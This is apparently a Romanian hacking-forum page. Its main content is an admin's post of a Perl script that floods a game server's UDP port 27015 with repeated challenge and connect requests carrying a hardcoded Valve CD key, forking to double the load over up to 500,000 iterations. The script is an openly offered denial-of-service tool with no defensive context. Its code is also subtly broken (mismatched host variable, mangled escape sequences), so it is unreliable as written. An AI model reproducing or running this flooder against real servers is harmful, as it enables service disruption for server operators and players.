Asasinu
Welcome To Asasinu!!! Please Register To Have Acces To Evrithing !!! !FORUMUL ESTE IN PLINA DEZVOLTARE VA RUGAM SA NE AJUTATI!
|
Nou pe simpatie:
luiza69
 | Femeie
24 ani
Bucuresti
cauta Barbat
27 - 75 ani |
|
|
AsasinuReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
 Asasin<<ADMIN>>Din: Caracal
Postari: 635
|
|
use IO::Socket::INET
print "the host..eg: 465.124.5.64 : ";
$HOST = <STDIN>;
chop ($HOST);
$i=0;
if (fork())
{ econnect($host); }
else
{
econnect($host); };
exit;
sub econnect($)
{
while($i<500000){
$i++;
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!n" unless $sock;
$cmd="xffxffxffxff";
syswrite $sock, $cmd."getchallenge";
sysread $sock,$b,65535; print $b,"n";
@c=split(/ /,$b);
$c2=$c[1];
$q=$cmd."connect 47 $c2 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed866538c9db76""\"";
print '>',$q,"n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"n";
sleep 3;
close $sock;
}
}
_______________________________________
إلا الموتى وشهدت نهاية الحرب
|
|
| |
|
